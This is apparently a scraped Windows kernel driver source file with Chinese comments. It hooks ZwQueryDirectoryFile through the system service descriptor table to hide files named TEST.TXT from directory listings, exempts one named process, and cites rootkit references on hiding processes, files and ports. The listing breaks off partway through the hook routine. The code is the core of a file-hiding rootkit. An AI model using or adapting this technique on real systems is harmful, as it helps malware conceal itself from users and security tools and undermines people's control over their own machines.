📄 sfilter.c
字号:
/*********************************************************
查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile,
因此拦截此函数可以达到隐藏文件/目录的目的。
*********************************************************/
/*********************************************************
参考
<隐藏任意进程,目录/文件,注册表,端口> sinister whitecell
<再谈Windows NT_2000内部数据结构> webcrazy
regmon source code www.sysinternals.com
*********************************************************/
/*********************************************************
这仅仅是一个简单的例子,
lode 这个驱动前可以在任意目录下建立一个TEST.TXT,
load该驱动后该文件被隐藏
*********************************************************/
#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "string.h"
//----------------------------------------------------------------------
// DEFINES
//----------------------------------------------------------------------
#if DBG
#define DbgPrint(arg) DbgPrint arg
#else
#define DbgPrint(arg)
#endif
//用来确定进程用的定义
//
// Length of process name (rounded up to next DWORD)
//
#define PROCNAMELEN 32
//
// Max length of NT process name
//
#define NT_PROCNAMELEN 16
//
// The name of the System process, in which context we're called in our
// DriverEntry
//
#define SYSNAME "System"
//
//32768-65535 are reserved for use by customers
//
#define FILE_DEVICE_HIDE 0x00008305
//
//available only on x86 now
//
#define SYSCALL(_function) ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_function+1)]
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef int BOOL;
//
//structure unopen, parameter into ZwQueryDirectoryFile routine.
//God bless me it will not be changed.ms is shit...
//
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
//
// Definition for system call service table
//
typedef struct _SRVTABLE {
PVOID *ServiceTable;
ULONG LowCall;
ULONG HiCall;
PVOID *ArgTable;
} SRVTABLE, *PSRVTABLE;
NTSTATUS (*RealZwQueryDirectoryFile)(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
//----------------------------------------------------------------------
// GLOBALS
//----------------------------------------------------------------------
//
// Pointer to system global service table
//
PSRVTABLE ServiceTable;
extern PSRVTABLE KeServiceDescriptorTable;
PDEVICE_OBJECT ControlDeviceObject;
//----------------------------------------------------------------------
// FORWARD DEFINES
//----------------------------------------------------------------------
NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );
VOID FilehideUnload( IN PDRIVER_OBJECT DriverObject );
NTSYSAPI
NTSTATUS
NTAPI ZwQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);
//其它定义
ULONG ProcessNameOffset; //获得当前进程的编移量
//-----------------------------------------------------------------------
//与进程相关的函数
//------------------------------------------------------------------------
//----------------------------------------------------------------------
//
// FilemonGetProcessNameOffset
//
// In an effort to remain version-independent, rather than using a
// hard-coded into the KPEB (Kernel Process Environment Block), we
// scan the KPEB looking for the name, which should match that
// of the system process. This is because we are in the system process'
// context in DriverEntry, where this is called.
//
//----------------------------------------------------------------------
ULONG
FilemonGetProcessNameOffset(
VOID
)
{
PEPROCESS curproc;
int i;
curproc = PsGetCurrentProcess();
//
// Scan for 12KB, hoping the KPEB never grows that big!
//
for( i = 0; i < 3*PAGE_SIZE; i++ ) {
if( !strncmp( SYSNAME, (PCHAR) curproc + i, strlen(SYSNAME) )) {
return i;
}
}
//
// Name not found - oh, well
//
return 0;
}
//----------------------------------------------------------------------
//
// FilemonGetProcess
//
// Uses undocumented data structure offsets to obtain the name of the
// currently executing process.
//
//----------------------------------------------------------------------
PCHAR
FilemonGetProcess(
PCHAR ProcessName
)
{
PEPROCESS curproc;
char *nameptr;
ULONG i;
// We only do this if we determined the process name offset
if( ProcessNameOffset ) {
// Get a pointer to the current process block
curproc = PsGetCurrentProcess();
// Dig into it to extract the name. Make sure to leave enough room
// in the buffer for the appended process ID.
nameptr = (PCHAR) curproc + ProcessNameOffset;
strncpy( ProcessName, nameptr, NT_PROCNAMELEN-1 );
ProcessName[NT_PROCNAMELEN-1] = 0;
#if defined(_IA64_)
sprintf( ProcessName + strlen(ProcessName), ":%I64d", PsGetCurrentProcessId());
#else
sprintf( ProcessName + strlen(ProcessName), ":%d", PsGetCurrentProcessId());
#endif
} else {
strcpy( ProcessName, "???" );
}
return ProcessName;
}
//======================================================================
// H O O K R O U T I N E S
//======================================================================
//----------------------------------------------------------------------
//
// HookZwQueryDirectoryFile
//
//----------------------------------------------------------------------
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName,aFilehide;
UNICODE_STRING uniFileName;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
// CHAR aFilehide[] ="TEST.TXT"; //"2860f21A-6DD2-4DAC-B901-AFADD00B702B"; //"TEST.txt"; //原来是让所有的TEST.txt都隐藏,现在作些改动
CHAR SkipExe[] = "LoadFile.exe"; //跳过的进程
CHAR name[PROCNAMELEN]; //得到当前的进程名
//
RtlInitAnsiString(&aFilehide,"TEST.TXT"); //我要过滤的文件名 //"2860f21A-6DD2-4DAC-B901-AFADD00B702B";
//执行正正的RaalZwQueryDirectioryFile
rc = (RealZwQueryDirectoryFile)(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
/*如果执行成功(而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation,我们就进行处理,过滤*/
//if(NT_SUCCESS(rc))
if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation)) //改用新的判断
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer;
ProcessNameOffset = FilemonGetProcessNameOffset(); //得到进程的编移量
//
// Determine what function we're dealing with //得到进程名
//
FilemonGetProcess( name );
DbgPrint(("在访问文件%s\n",name));
pLast = NULL;
do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
DbgPrint(("Filehide: RealZwQueryDirectoryFile %s\n",ansiFileName.Buffer));
// if (strstr(ansiFileName.Buffer,aFilehide)!=NULL)
//if(wcsstr(ansiFileName.Buffer,aFilehide)!=NULL)
if( RtlCompareMemory( ansiFileName.Buffer, aFilehide.Buffer,aFilehide.Length ) == aFilehide.Length)
{
found=1;
DbgPrint(("找到一个隐藏文件%s\n",ansiFileName.Buffer));
}
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
//int r=stricmp(name,"LoadFile.exe");
//PCWSTR str="LoadFile.exe";
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -